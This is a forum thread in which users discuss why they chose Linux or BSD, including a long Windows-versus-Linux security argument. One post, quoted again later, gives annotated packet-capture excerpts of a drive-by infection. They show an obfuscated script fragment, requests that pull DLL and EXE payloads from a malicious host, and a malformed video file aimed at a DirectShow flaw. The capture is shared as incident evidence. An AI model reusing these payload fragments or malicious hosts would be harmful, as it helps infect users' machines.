Why you chose linux

InorganicMatter

[H]F Junkie
Joined
Oct 19, 2004
Messages
15,464
I use it because it's the best web server platform out there, and it's free to boot.

Wouldn't ever let it near my desktop though. Win7 all the way!
Posted via [H] Mobile Device
 

HHunt

Supreme [H]ardness
Joined
Apr 12, 2001
Messages
6,063
I'm posting from my work-workstation (it's after my working hours, don't worry) - which runs FreeBSD. Not quite linux, but close enough to count. ;)

I set this one up myself, and picked FreeBSD since I'm used to it. Outside, that, I would have gone for Linux over windows ... because it just makes my job that much easier. Of course, mangling large text files and writing small programs isn't what I do for entertainment at home, but it does pay the bills. Having a good set of command line tools, not to mention the excellent network utilities (I'm making good use of ssh, scp, nfs, and the occasional bit of file serving per ftp and http) helps. Python fits in better, too - I know it works fine on windows, but there's something about python in a *nix shell that just feels more right.

This reminds me - I'm using ZFS, but I haven't really played with it yet. I suspect the snapshots could be useful...

Oh, and KDE 4.3 + compositing does look quite nice (and the exposé clone is genuinely useful).
 

Jabroni31169

My Future Son-in-Law
Joined
Apr 19, 2000
Messages
9,739
Everyday at work I watch network traffic. In said traffic I see windows machines get absolutely owned by drive-by Malware/Trojans surfing from what are concidered to be "safe" sites on a daily basis. As the days went by it became glaringly apparent ms os's are extremely weak when it comes to security. Once I got more into the security aspect of networks I made the switch myself. I've run just about everything except bsd. I run ubuntu 8.04 on the laptops and run centos on the snort box that monitors inbound and outbound traffic.
 

/dev/null

[H]F Junkie
Joined
Mar 31, 2001
Messages
15,190
I'm posting from my work-workstation (it's after my working hours, don't worry) - which runs FreeBSD. Not quite linux, but close enough to count. ;)

I set this one up myself, and picked FreeBSD since I'm used to it. Outside, that, I would have gone for Linux over windows ... because it just makes my job that much easier. Of course, mangling large text files and writing small programs isn't what I do for entertainment at home, but it does pay the bills. Having a good set of command line tools, not to mention the excellent network utilities (I'm making good use of ssh, scp, nfs, and the occasional bit of file serving per ftp and http) helps. Python fits in better, too - I know it works fine on windows, but there's something about python in a *nix shell that just feels more right.

This reminds me - I'm using ZFS, but I haven't really played with it yet. I suspect the snapshots could be useful...

Oh, and KDE 4.3 + compositing does look quite nice (and the exposé clone is genuinely useful).

HHunt> If you are any good at shell scripting, definitely play with snapshots. They are more useful than you can imagine :) ZFS is simply awesome. If you have issues, post here.

I have setup fileservers with both FreeBSD & OpenSolaris & ZFS.
 

heatlesssun

Extremely [H]
Joined
Nov 5, 2005
Messages
44,154
Everyday at work I watch network traffic. In said traffic I see windows machines get absolutely owned by drive-by Malware/Trojans surfing from what are concidered to be "safe" sites on a daily basis. As the days went by it became glaringly apparent ms os's are extremely weak when it comes to security. Once I got more into the security aspect of networks I made the switch myself. I've run just about everything except bsd. I run ubuntu 8.04 on the laptops and run centos on the snort box that monitors inbound and outbound traffic.

See windows machines get owned? Really? Got some examples cause I'd like to see how owned I get. Sure on crappy setups this happens. Not on good Windows setups with people that don't run 24x7 as admins and don't install everything that's shiny without knowing what they're installing. And not opening unknown attachements.

Please, just one URL of a legit site. I want to see a one of my Windows 7 get owned with a drive by. I doubt it but you have a great opportunity to sell desktop Linux to a Windows fan boy. Prove me wrong!:)
 

keenan

2[H]4U
Joined
Aug 5, 2009
Messages
2,695
See windows machines get owned? Really? Got some examples cause I'd like to see how owned I get. Sure on crappy setups this happens. Not on good Windows setups with people that don't run 24x7 as admins and don't install everything that's shiny without knowing what they're installing. And not opening unknown attachements.

You're in dangerous water. At least half of the Windows boxes I sit down at are compromised in one way or another. We'll see if 7 makes an improvement, but I doubt it. To be honest I don't even understand how this stuff gets on there, but it does. I've never seen anything attempt to get into my machine, let alone be successful, but the fact is that a ton of average Joe machines are infected with some manner of malware.
 

heatlesssun

Extremely [H]
Joined
Nov 5, 2005
Messages
44,154
You're in dangerous water. At least half of the Windows boxes I sit down at are compromised in one way or another. We'll see if 7 makes an improvement, but I doubt it. To be honest I don't even understand how this stuff gets on there, but it does. I've never seen anything attempt to get into my machine, let alone be successful, but the fact is that a ton of average Joe machines are infected with some manner of malware.

I know Windows machines get hacked all the time. Hell I fix enough of them. But I'm not saying anything thing that any knowledgeable Windows user wouldn't say. People who know what they are doing simply don't see this stuff. We'll yeah, I'll see the AV scanner go off once or twice a month, more if I'm hitting something funky.

Double firewall, outer stealth firewall, patched, non-admin, IE 8 protected mode, DEP, AV scanner, no unnecessary services, and read the security bulletins and I don't open or install crap and the AV catches it anyway. What do you HONESTLY think the chances of that kind of setup getting owned?
 

Jabroni31169

My Future Son-in-Law
Joined
Apr 19, 2000
Messages
9,739
See windows machines get owned? Really? Got some examples cause I'd like to see how owned I get. Sure on crappy setups this happens. Not on good Windows setups with people that don't run 24x7 as admins and don't install everything that's shiny without knowing what they're installing. And not opening unknown attachements.

Please, just one URL of a legit site. I want to see a one of my Windows 7 get owned with a drive by. I doubt it but you have a great opportunity to sell desktop Linux to a Windows fan boy. Prove me wrong!:)

No problem. Let me get to work tomorrow and I'll give you some great pcaps.

crappy setups = windows
 
Last edited:

heatlesssun

Extremely [H]
Joined
Nov 5, 2005
Messages
44,154
No problem. Let me get to work tomorrow and I'll give you some great pcaps.

crappy setups = windows

Cool! Looking forward to what you have! I'm not trying to brag or be flip, I'd really like to learn something here! Thanks!:)

Yes, Windows has been so crappy for me that I've not had a successful malware attack on a personal Windows system of mine ever. Not one that I could detect with what ever AV scanner I was using at the time. Maybe I did and didn't know it, can't prove it one way or another.
 

Darundal

Limp Gawd
Joined
Jun 30, 2006
Messages
379
Free, less painful than Windows (including the WinMessiah, 7) for everything save for gaming.
 
Joined
Dec 29, 2000
Messages
2,469
I learned running FreeBSD one can run two firewalls, so on
the dual-boot I put a second firewall on win98FE (one freeware/
one shareware).

I know you can do it, I just have to laugh at it being done.
Normally the people I see making statements like that end up getting bagged by porn sites, not by typical browsing. Having two firewalls doesn't help them in the long run anyway.
 

Jabroni31169

My Future Son-in-Law
Joined
Apr 19, 2000
Messages
9,739
Here is a rough overview. All sensitive data has been removed. I would of posted the full pcap but I dont feel like editing out everthing I would have to.

User was surfing gomez, compromised banner ad

Code:
22:33:26.394478 IP hi2you.1458 > 198.65.102.144.80: P 1:451(450) ack 1 win 64240
E.....@....D
....Af....P..l.xH..P...)...GET /2.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://gomez.com/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Host: google.dnset.com
Connection: Keep-Alive

Uh-oh...Obfuscated Javascript...this cant be good....

Code:
<script language="JScript.Encode">#@~^axIAAA==@#@&\CMPs+:KDHI@#@&\CD,xG2,'Prw6.4-Xn8Jp@#@&\CD~daDCX{;x./^
22:33:26.444399 IP 198.65.102.144.80 > hi2you.1458: . 1261:2521(1260) ack 451 win 17190
E...).@.p....Af.
];HE+ *;]!zE+*+2uEz;WcZFYEHE!WTf]!X!vXG0Y!X;!ZT!uEz;Z!v)Y!X;!Z.z];HEZ vz]!zEZ!.buEz;Z!vzYEHE!Z.
22:33:26.444402 IP 198.65.102.144.80 > hi2you.1458: . 1261:2521(1260) ack 451 win 17190
E...).@.p....Af.
];HE+ *;]!zE+*+2uEz;WcZFYEHE!WTf]!X!vXG0Y!X;!ZT!uEz;Z!v)Y!X;!Z.z];HEZ vz]!zEZ!.buEz;Z!vzYEHE!Z.
22:33:26.490342 IP hi2you.1458 > 198.65.102.144.80: . ack 2521 win 64240
E..(..@... .
....Af....P..n^xH..P... .........
22:33:26.490345 IP hi2you.1458 > 198.65.102.144.80: . ack 2521 win 64240
E..(..@... .
....Af....P..n^xH..P... .........
22:33:26.538423 IP 198.65.102.144.80 > hi2you.1458: . 2521:3781(1260) ack 451 win 17190
E...)   @.p....Af.

Lets try to pulldown some bad files and see what we can exploit...

Code:
22:33:33.916152 IP hi2you.1458 > 198.65.102.144.80: P 451:753(302) ack 5940 win 64240
E..V..@.....
....Af....P..n^xH..P...m...GET /yg.dll HTTP/1.1
Accept: */*
Referer: http://google.dnset.com/2.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Host: google.dnset.com
Connection: Keep-Alive

22:33:46.024027 IP hi2you.1458 > 198.65.102.144.80: P 753:1055(302) ack 7735 win 64240
E..V.f@.....
....Af....P..o.xH..P...g...GET /fd.dll HTTP/1.1
Accept: */*
Referer: http://google.dnset.com/2.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Host: google.dnset.com
Connection: Keep-Alive

Crap...

Code:
22:33:46.074996 IP 198.65.102.144.80 > hi2you.1458: . 10255:11515(1260) ack 1055 win 16586
E...0.@.p....Af.
....P..xH)...p.P.@..J.................................................................................................................................................................................
......................................................................................................................................................................................................
......................................................................................................................................................................................................

MZ......................@.............................................  .!..L.![B]This program cannot be run in DOS mode.[/B]^M

Doh...direct show vuln....too bad it took ms 6 months to patch it.
Code:
22:35:58.281985 IP 198.65.102.144.80 > hi2you.1475: P 731752:732839(1087) ack 3031 win 17435
E..gT.@.p....Af.
....P..*2..V?^MfP.D.g...HTTP/1.1 200 OK
Content-Length: 832
Content-Type: video/x-msvideo
Accept-Ranges: bytes
ETag: "3a97eefc5edc91:2da6"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET

Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET

...@moov....mvhdAAAAAAAAAAAAAAAAAAAA..."trak....tkhdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....mdia...*mdhdAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA....hdlr....mhlrvide....minf....stbl...hstsdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?B....XxXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX....sttsAAAAAAAA...(stscAAXXXXXXXXXXXXXXXXAAAAAAAA
AAAAAA..."stszAAAAAAAAAAXXXXXXXXXXXXXXXX
22:35:58.281988 IP 198.65.102.144.80 > hi2you.1475: P 731752:732839(1087) ack 3031 win 17435
Accept-Ranges: bytes
ETag: "3a97eefc5edc91:2da6"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET

AAAAAA..."stszAAAAAAAAAAXXXXXXXXXXXXXXXX
22:35:58.492107 IP hi2you.1475 > 198.65.102.144.80: . ack 732839 win 64240
E..(..@....q
....Af....PV?^Mf*2..P...A.........
22:35:58.492110 IP hi2you.1475 > 198.65.102.144.80: . ack 732839 win 64240
E..(..@....q
....Af....PV?^Mf*2..P...A.........
22:36:02.965155 IP hi2you.1475 > 198.65.102.144.80: P 3031:3269(238) ack 732839 win 64240
E....9@....^
....Af....PV?^Mf*2..P.......GET /126.exe HTTP/1.1
Accept: */*

Unfortunately we had not finished our deployment of CSA to all our laptops so this one got owned. AV was present on the machine but as most people are aware, signature based AV is worthless. User never knew anything occurred.

Win7 is still prob 6 months to a year before major deployments begin. Of course by then we will start to see the real holes in win7.
 

Frobozz

[H]ard|Gawd
Joined
Feb 15, 2002
Messages
1,817
Double firewall, outer stealth firewall, patched, non-admin, IE 8 protected mode, DEP, AV scanner, no unnecessary services, and read the security bulletins and I don't open or install crap and the AV catches it anyway. What do you HONESTLY think the chances of that kind of setup getting owned?

That just sounds like a lot of stuff to keep up with and would be a stressful/paranoid end user experience.

You'd spend all your time checking port forwarding, troubleshooting service dependencies, and reading bulletins rather than actually getting tasks done. :p
 

heatlesssun

Extremely [H]
Joined
Nov 5, 2005
Messages
44,154
I know you can do it, I just have to laugh at it being done.
Normally the people I see making statements like that end up getting bagged by porn sites, not by typical browsing. Having two firewalls doesn't help them in the long run anyway.

Sure it can. Everyone's router has a firewall and so does Windows, so that's what I was referring to as a double firewall. I have ports open inside my local network that I don't have open through the router. Pretty basic and standard stuff.
 

heatlesssun

Extremely [H]
Joined
Nov 5, 2005
Messages
44,154
That just sounds like a lot of stuff to keep up with and would be a stressful/paranoid end user experience.

You'd spend all your time checking port forwarding, troubleshooting service dependencies, and reading bulletins rather than actually getting tasks done. :p

Not hard to set this up at all. Most of it is just stuff out of the box. The biggest issues would be just how tightly you want to lock down your routers firewall, the level of DEP protection (which is the tricky part as a few apps here and there still don't run properly with DEP on), and how you manage accounts. There's nothing here that wouldn't be part of the equation in any modern desktop OS, including Linux.

The exception would be an AV scanner but in Windows 7 that's drop dead easy. The Windows 7 Action Center will recommend running an AV scanner and take you to a site where you can install any of your choosing. Easy as pie.

You guys really are out of the loop and think that Windows from ten years ago is Windows today. Windows is getting better just like Linux.
 

heatlesssun

Extremely [H]
Joined
Nov 5, 2005
Messages
44,154
Here is a rough overview. All sensitive data has been removed. I would of posted the full pcap but I dont feel like editing out everthing I would have to.

User was surfing gomez, compromised banner ad

Code:
22:33:26.394478 IP hi2you.1458 > 198.65.102.144.80: P 1:451(450) ack 1 win 64240
E.....@....D
....Af....P..l.xH..P...)...GET /2.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://gomez.com/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Host: google.dnset.com
Connection: Keep-Alive

Uh-oh...Obfuscated Javascript...this cant be good....

Code:
<script language="JScript.Encode">#@~^axIAAA==@#@&\CMPs+:KDHI@#@&\CD,xG2,'Prw6.4-Xn8Jp@#@&\CD~daDCX{;x./^
22:33:26.444399 IP 198.65.102.144.80 > hi2you.1458: . 1261:2521(1260) ack 451 win 17190
E...).@.p....Af.
];HE+ *;]!zE+*+2uEz;WcZFYEHE!WTf]!X!vXG0Y!X;!ZT!uEz;Z!v)Y!X;!Z.z];HEZ vz]!zEZ!.buEz;Z!vzYEHE!Z.
22:33:26.444402 IP 198.65.102.144.80 > hi2you.1458: . 1261:2521(1260) ack 451 win 17190
E...).@.p....Af.
];HE+ *;]!zE+*+2uEz;WcZFYEHE!WTf]!X!vXG0Y!X;!ZT!uEz;Z!v)Y!X;!Z.z];HEZ vz]!zEZ!.buEz;Z!vzYEHE!Z.
22:33:26.490342 IP hi2you.1458 > 198.65.102.144.80: . ack 2521 win 64240
E..(..@... .
....Af....P..n^xH..P... .........
22:33:26.490345 IP hi2you.1458 > 198.65.102.144.80: . ack 2521 win 64240
E..(..@... .
....Af....P..n^xH..P... .........
22:33:26.538423 IP 198.65.102.144.80 > hi2you.1458: . 2521:3781(1260) ack 451 win 17190
E...)   @.p....Af.

Lets try to pulldown some bad files and see what we can exploit...

Code:
22:33:33.916152 IP hi2you.1458 > 198.65.102.144.80: P 451:753(302) ack 5940 win 64240
E..V..@.....
....Af....P..n^xH..P...m...GET /yg.dll HTTP/1.1
Accept: */*
Referer: http://google.dnset.com/2.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Host: google.dnset.com
Connection: Keep-Alive

22:33:46.024027 IP hi2you.1458 > 198.65.102.144.80: P 753:1055(302) ack 7735 win 64240
E..V.f@.....
....Af....P..o.xH..P...g...GET /fd.dll HTTP/1.1
Accept: */*
Referer: http://google.dnset.com/2.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Host: google.dnset.com
Connection: Keep-Alive

Crap...

Code:
22:33:46.074996 IP 198.65.102.144.80 > hi2you.1458: . 10255:11515(1260) ack 1055 win 16586
E...0.@.p....Af.
....P..xH)...p.P.@..J.................................................................................................................................................................................
......................................................................................................................................................................................................
......................................................................................................................................................................................................

MZ......................@.............................................  .!..L.![B]This program cannot be run in DOS mode.[/B]^M

Doh...direct show vuln....too bad it took ms 6 months to patch it.
Code:
22:35:58.281985 IP 198.65.102.144.80 > hi2you.1475: P 731752:732839(1087) ack 3031 win 17435
E..gT.@.p....Af.
....P..*2..V?^MfP.D.g...HTTP/1.1 200 OK
Content-Length: 832
Content-Type: video/x-msvideo
Accept-Ranges: bytes
ETag: "3a97eefc5edc91:2da6"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET

Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET

...@moov....mvhdAAAAAAAAAAAAAAAAAAAA..."trak....tkhdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....mdia...*mdhdAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA....hdlr....mhlrvide....minf....stbl...hstsdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?B....XxXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX....sttsAAAAAAAA...(stscAAXXXXXXXXXXXXXXXXAAAAAAAA
AAAAAA..."stszAAAAAAAAAAXXXXXXXXXXXXXXXX
22:35:58.281988 IP 198.65.102.144.80 > hi2you.1475: P 731752:732839(1087) ack 3031 win 17435
Accept-Ranges: bytes
ETag: "3a97eefc5edc91:2da6"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET

AAAAAA..."stszAAAAAAAAAAXXXXXXXXXXXXXXXX
22:35:58.492107 IP hi2you.1475 > 198.65.102.144.80: . ack 732839 win 64240
E..(..@....q
....Af....PV?^Mf*2..P...A.........
22:35:58.492110 IP hi2you.1475 > 198.65.102.144.80: . ack 732839 win 64240
E..(..@....q
....Af....PV?^Mf*2..P...A.........
22:36:02.965155 IP hi2you.1475 > 198.65.102.144.80: P 3031:3269(238) ack 732839 win 64240
E....9@....^
....Af....PV?^Mf*2..P.......GET /126.exe HTTP/1.1
Accept: */*

Unfortunately we had not finished our deployment of CSA to all our laptops so this one got owned. AV was present on the machine but as most people are aware, signature based AV is worthless. User never knew anything occurred.

Win7 is still prob 6 months to a year before major deployments begin. Of course by then we will start to see the real holes in win7.

Had Fiddler running tried to hit the URL's I saw, and my machine exploded!!!!:mad:

Naw, nothing dude. Not a peep. Not sure where I was supposed to be owned here. BTW the obfuscated Javascript is probably just some AJAX library stuff, its pretty common to see that these days on heavy AJAX sites.

Sure there'll be holes found in 7, just like Linux. That's why we have security measures, to protected against software flaws. That applies to Linux as well though sure on a desktop there just AREN'T any Linux threats to speak of. But that's not because Linux is perfect.

At any rate, I'm still looking for some type of drive by attack that works against a Windows 7 setup like mine. Not saying that its impossible, only fools think stuff like this to be impossible. Just that its not a simple thing to do, that's all.
 

Jabroni31169

My Future Son-in-Law
Joined
Apr 19, 2000
Messages
9,739
Had Fiddler running tried to hit the URL's I saw, and my machine exploded!!!!:mad:

Naw, nothing dude. Not a peep. Not sure where I was supposed to be owned here. BTW the obfuscated Javascript is probably just some AJAX library stuff, its pretty common to see that these days on heavy AJAX sites.

Of course your machine didn't get owned, the site is over 7 months old and long gone. it was a compromised banner. They generally are only up for a day if that. This was an example of how easily windows gets owned on a daily basis.

Not AJAX, but nice try. I might buy that if I didnt know how to read a pcap and didnt see all the the other .exe and .dll files the pc tried to pull from this website.

When I see a win7 machine get owned and we record the traffic, I'll let you know. However that might be a while since we dont run 7 or Vista.
 
Joined
Dec 29, 2000
Messages
2,469
Sure it can. Everyone's router has a firewall and so does Windows, so that's what I was referring to as a double firewall. I have ports open inside my local network that I don't have open through the router. Pretty basic and standard stuff.

"Sure it can" what? Did you read what I posted?
 

heatlesssun

Extremely [H]
Joined
Nov 5, 2005
Messages
44,154
Of course your machine didn't get owned, the site is over 7 months old and long gone. it was a compromised banner. They generally are only up for a day if that. This was an example of how easily windows gets owned on a daily basis.

Not AJAX, but nice try. I might buy that if I didnt know how to read a pcap and didnt see all the the other .exe and .dll files the pc tried to pull from this website.

When I see a win7 machine get owned and we record the traffic, I'll let you know. However that might be a while since we dont run 7 or Vista.

Thanks for the info. I expected that it was old. And yes, there's a fair amount of legitimate obfuscated javascript out there that's legitimate but in this case it wasn't.

My only point about getting owned is that even with Vista if you just do simple stuff you don't get hacked. Sure it happens all the time to people who don't practice ANY security measures. You can't do that on a Windows machine. Sure you can do it on Linux, there's no attacks and not enough people to spread them anyway.
 
Joined
Dec 29, 2000
Messages
2,469
Yes I did. My point is that if you have a router with a firewall and you have a firewall running on you machine, you're going to have two firewalls in most circumstances anyway.
My point was that IE ends up bagging a lot of people's boxes, and not because of your firewall or lack thereof.
 

heatlesssun

Extremely [H]
Joined
Nov 5, 2005
Messages
44,154
My point was that IE ends up bagging a lot of people's boxes, and not because of your firewall or lack thereof.

With IE 8 on Vista/7 in protected mode running as a non-admin and/or with UAC on and DEP on its MUCH more difficult to bag IE these days. Throw in a real time AV scanner and while anything is possible its just not any where near as easy as IE 6 on XP running as an admin. It's a night a day difference honestly.

That's all I was trying to say and everything that I've read about the statistics on infection rates with "Shields up" so to speak seem to support this.
 
Joined
Dec 29, 2000
Messages
2,469
With IE 8 on Vista/7 in protected mode running as a non-admin and/or with UAC on and DEP on its MUCH more difficult to bag IE these days. Throw in a real time AV scanner and while anything is possible its just not any where near as easy as IE 6 on XP running as an admin. It's a night a day difference honestly.

That's all I was trying to say and everything that I've read about the statistics on infection rates with "Shields up" so to speak seem to support this.
Ok, keep surfing porn sites then.
 

goalong

n00b
Joined
Oct 25, 2009
Messages
46
With IE 8 on Vista/7 in protected mode running as a non-admin and/or with UAC on and DEP on its MUCH more difficult to bag IE these days. Throw in a real time AV scanner and while anything is possible its just not any where near as easy as IE 6 on XP running as an admin. It's a night a day difference honestly.

That's all I was trying to say and everything that I've read about the statistics on infection rates with "Shields up" so to speak seem to support this.

All I'm saying is that it has only been about 14 years for MS to get a handle on IE (in)security...
 

obey3one

Weaksauce
Joined
Apr 24, 2008
Messages
76
i personally use linux on most of my old hardware. I keep my main machine for most of my gaming / media / photoshop. I usually try to keep a second box up with a distro of linux. I do most of my websurfing on that, usually leave my torrents running on nix and am working on getting an htpc set up now that i have a tv tuner card also. I started with red hat and played around with it every once in a while, then took the jump to slackware 9.1. Was a rough learners curve, but between all the package management and troubleshooting i did there, nowadays everything seems like cakewalk in comparison.
 

Ivan_Only

Limp Gawd
Joined
Apr 22, 2005
Messages
157
I have a old P4 with 1GB of ram running Ubuntu 9.04. I use it as a Torrent Client and have Apache installed. I use it in conjunction with DynDNS to host a small site I use for toying around with.

My main box is running Win7, but if I did not play games, it woul dbe running Linux. When I upgrade, I plan on making my current box a Linux File Server.
 

amd_ftw

Weaksauce
Joined
Oct 18, 2009
Messages
81
why i run linux...

for one it is constantly being updated and improved on. so many hard core utility tools that you just can not find in windows for free! i can't give up xp entirely because i am so addicted to the .net framework PAINT.NET program :p. i never bother to learn how to use gimp.

gonna dual booth with linux mint 8.

puppy linux make my P3 era machines run like a dream.

also it's about trust. do your really trust microsoft and all their cronies? i put my faith in the open sauce community more.
 

Andrew_Carr

2[H]4U
Joined
Feb 26, 2005
Messages
2,349
I run OpenBSD, but I'll post here anyway... It was mentioned in a computer security class, of all places, that OpenBSD was horrible when it came to being user friendly and therefore we weren't going to work with it. Ok, makes sense I guess for a 1 semester course that has to cover a lot of ground (Windows & Linux/Unix security among others). Well, I was having a lot of trouble with a FreeBSD problem so later on I decided to try getting OpenBSD setup on my own, outside of class. It was extremely simple(the CD had instructions, otherwise I would've been lost), and while I went nuts trying to get things like Java and Flash working(finally got them...), I also learned a lot and had fun.

Anyway, it's free, fun, and it's been pretty fast so far. I've gotten it to do everything I want(web browsing, multimedia, and office type stuff) so I'm pretty happy.
 

Langford

[H]ard|Gawd
Joined
Apr 5, 2006
Messages
1,339
I use Linux for many reasons.
  • Linux runs faster then Windows on the same computer, it makes an old computer feel powerful.
  • Linux is full of the latest full featured versions of most of the apps that I have to download and install from multiple sources when on Windows, and the Windows versions are usually older and missing features.
  • I have a lot more freedom in Linux with how I configure my system and how I use my system.
  • It is hugely better at juggling hard drives than Windows, especially when I plug in a ton of external drives all at once.
  • It's free! Well, it's no so much that it's free, as that the alternative Windows is incredibly overpriced. I shouldn't have to search for magical bargains for something that used to be far cheaper in the past.
  • Gnome has been a great and customizable interface, it sees my digital camera's raw image format with just one quick grab from the repository. Being able to customize strengthens my feelings of ownership of my PC.
  • The repository! OMG! EVERY MODERN OS SHOULD HAVE SUCH A THING! One stop shopping and updates for 99% of what I want.
I kinda hat that so many of those involve comparisons to Windows, but I guess it helps to have a frame of reference when describing stuff. Windows can do the job, it's not a bad operating system, it's just that Linux is absolutely terrific.
 

Recursion

Weaksauce
Joined
Oct 17, 2009
Messages
64
I use Linux because I am a kernel dev for it and enjoy using what I work on. I get paid to work on the kernel, so its simply easier to use it from day to day.
 

vectravl400

Weaksauce
Joined
Sep 24, 2007
Messages
80
I use it as a Media Center since it's not as particular about its hardware as Windows is.
 

ClariorHincHonos

[H]ard|Gawd
Joined
Jun 25, 2007
Messages
1,972
Part of my WTF attitude is that I don't really understand why people think that using any operating system such as Linux (Windows and OSX included as well), would make them "learn about operating systems". In my experience it teaches you NOTHING about operating systems. It teaches you how to apply operating system x to do stuff. You will learn a lot more in an equivalent 3rd year CS course by the name of "Operating Systems", as well as 2nd-4th year courses in computer architecture, that tell you how the machine actually works, the memory management systems behind it, the hardware communication behind it. All Linux teaches you, really, is memorizing command lines. Rote memorization falls under a different class of learning (and you can see, how much I value that type of learning).

So, like I said, I'm glad some of you guys really like to learn, but ask yourselves, what do you really want to learn, and why does doing what you do make you learn such a thing? Are you sure you're actually learning something, or is it just an illusion?

On the other hand, some people just want to tinker with the high-level operating system stuff (memorizing command lines, system administration). If that's what you really wanted to learn, then great. You're working towards your goal by doing what you do.

I think you've confused the two different applications under which one can "learn" an operating system. One is what you described, the engineering level of it. The other is practical/professional application of the particular OS, and how to manage it. Both instances have plenty of career options if you know what you're doing.
 
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ClariorHincHonos

[H]ard|Gawd
Joined
Jun 25, 2007
Messages
1,972
I still use both, but am starting to use Linux more. I use Ubuntu on my portable machines (eeePC and Toshiba laptop). I'm also building a desktop just for Ubuntu (tired of dual booting).

I got thrust into Linux because of work. My company is primarily a Windows host, but also has a lot of Linux, both hosting and backbone. So I had no choice but to learn. Gets easier as time goes by. I like the challenge now, although it can be frustrating at times.
 

AltTabbins

Fully [H]
Joined
Jul 29, 2005
Messages
20,268
I've installed Ubuntu about 10 times now going back and forth between that and xp on my laptop. It all comes down to boredom.
 

Drudenhaus

2[H]4U
Joined
Sep 27, 2005
Messages
3,121
I took two college classes because I was curious. I didn't "really" get into it until I started my current job. I don't have any hard numbers, but I'm willing to bet that over 2/3 of our customer base are using Linux or BSD which makes it quite a necessity to learn. I use it at home since it's free/open source, very script-able (I dig BASH, hate batch), more conducive to remote management (you can't beat SSH), and is a superior server platform (IMO, of course). The biggest reason I like Linux on my desktop is extensive capability of customization (and I run Gentoo at that).
 

number69

[H]ard|Gawd
Joined
Jan 8, 2003
Messages
1,646
I was thinking of going with Linux just to make a switch from MS just because I want to. Plus I always wanted to jump into Linux and learn more. I might just keep XP on one box and install Linux(Ubuntu) on one of my other boxes that have nothing on it.
 
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